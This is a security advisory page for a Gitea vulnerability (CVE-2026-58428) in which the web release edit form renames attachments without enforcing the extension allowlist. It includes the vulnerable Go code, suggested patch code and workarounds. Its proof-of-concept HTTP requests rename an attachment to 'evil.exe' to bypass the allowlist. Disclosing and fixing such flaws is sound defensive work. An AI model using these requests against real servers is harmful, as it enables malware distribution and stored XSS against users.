CVE-2026-58428 is a medium-severity (CVSS 6.5) CWE-424 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.
Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-58428 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
code.gitea.io/giteaReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.
A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.
Details
Vulnerable code
routers/web/repo/release.go:597 EditReleasePost:
const editPrefix = "attachment-edit-"
editAttachments := make(map[string]string)
if setting.Attachment.Enabled {
for k, v := range ctx.Req.Form {
if strings.HasPrefix(k, editPrefix) {
editAttachments[k[len(editPrefix):]] = v[0]
}
}
}
...
if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,
rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {
ctx.ServerError("UpdateRelease", err)
return
}
services/release/release.go:321 -- the unvalidated write:
for uuid, newName := range editAttachments {
if !deletedUUIDs.Contains(uuid) {
if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
UUID: uuid,
Name: newName,
}, "name"); err != nil {
return err
}
}
}
No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.
Comparison: the parent fix on the API path
routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):
if err := attachment_service.UpdateAttachment(ctx,
setting.Repository.Release.AllowedTypes, attach); err != nil {
if upload.IsErrFileTypeForbidden(err) {
ctx.Error(http.StatusUnprocessableEntity, "", err)
return
}
ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach)
return
}
Delegates to:
// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
return err
}
return repo_model.UpdateAttachment(ctx, attach)
}
The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.
Proof of Concept
Tested live against:
- Gitea
v1.26.1community edition, Linux amd64, SQLite, Go 1.26.2 app.iniincludes[repository.release] ALLOWED_TYPES = .zip,.tar.gz- Two users:
admin(superuser, created viagitea admin user create --admin),bob(regular, repo owner ofbob/test-repo)
Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.
Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.
PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token <bob_token>
Content-Type: application/json
{"name":"evil.exe"}
Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).
Step 3: The attack. The web release edit form does NOT enforce the allowlist.
POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=<session>; lang=en-US
Content-Type: application/x-www-form-urlencoded
tag_name=v0.1
&tag_target=main
&title=rename+payload
&content=
&attachment-edit-<existing_attachment_uuid>=evil.exe
Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.
Step 4: Verify.
GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.
A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:
GITEA-R007_release_edit_extension_bypass.py
[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'
[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.
Impact
Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):
- Pre-condition: operator has set
Repository.Release.AllowedTypesto a non-empty allowlist (a reasonable hardening posture when restricting release uploads). - Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.
- Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.
- Practical impact:
- Distribute malware files (e.g.,
.exe,.dmg,.msi,.apk) masquerading as a tagged release attachment - If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin
- Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event
- Distribute malware files (e.g.,
Suggested remediation
Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:
import (
"code.gitea.io/gitea/modules/setting"
"code.gitea.io/gitea/services/context/upload"
)
// inside UpdateRelease, replace the editAttachments loop:
for uuid, newName := range editAttachments {
if deletedUUIDs.Contains(uuid) {
continue
}
if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {
return err
}
if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
UUID: uuid,
Name: newName,
}, "name"); err != nil {
return err
}
}
The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.
Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.
Workaround for operators (no Gitea change required)
Until a patched release lands, operators can mitigate by either:
- Removing the
Repository.Release.AllowedTypesallowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. - Putting Gitea behind a reverse proxy that rewrites or strips suspicious
attachment-edit-*form fields on POST to/<owner>/<repo>/releases/edit/*-- viable but operationally fragile. - Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.
A vendor patch is the right answer; the workarounds above are stopgaps.
Credit
Jose Rivas (bl4cksku111.com)
References
- Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939)
- Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit
7adc4717ec) - CWE-424: https://cwe.mitre.org/data/definitions/424.html
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | code.gitea.io/gitea | all versions | 1.27.0go get code.gitea.io/gitea@v1.27.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58428 is resolved across your whole dependency graph.
Workarounds
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
The vulnerability, a Moderate attachment allowlist bypass in Gitea, allows an authenticated attacker to upload files with forbidden extensions by manipulating the web release edit form. However, Red Hat products are not affected by this flaw as the vulnerable code from routers/web/repo/release.go is not present in…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-58428 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-58428 in your dependencies?
Find it across Go, including transitive dependencies.